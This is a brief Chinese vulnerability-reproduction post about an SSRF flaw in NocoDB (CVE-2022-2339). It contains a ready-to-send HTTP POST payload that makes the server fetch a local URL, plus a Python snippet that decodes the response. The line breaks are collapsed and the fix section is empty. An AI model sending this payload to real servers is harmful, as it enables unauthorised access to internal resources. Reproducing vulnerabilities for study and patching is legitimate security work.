NocoDB是一个开源Airtable 替代品。将任何 MySql、PostgreSql、Sql Server、Sqlite 和MariaDb 转换为智能电子表格。
POST/api/v1/db/meta/axiosRequestMakeHTTP/1.1Host: 192.168.245.137:8888Content-Type: application/jsonContent-Length: 51{"apiMeta":{"url":"http://127.0.0.1:9999/123.ods"}}注：需要一个文件后缀 .csv/.xls/.slxs/.slxm/.ods/.ots，只能输入127.0.0.1，其他地址提示不允许。
#!/usr/bin/pythonstr1 = []#需解码内容str2 =""for i in range(len(str1)):str2 = str2 + chr(str1[i])print(str2)
0X03 修复建议
原文始发于微信公众号（皓月的笔记本）：【漏洞复现】NocoDB SSRF漏洞（CVE-2022-2339）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论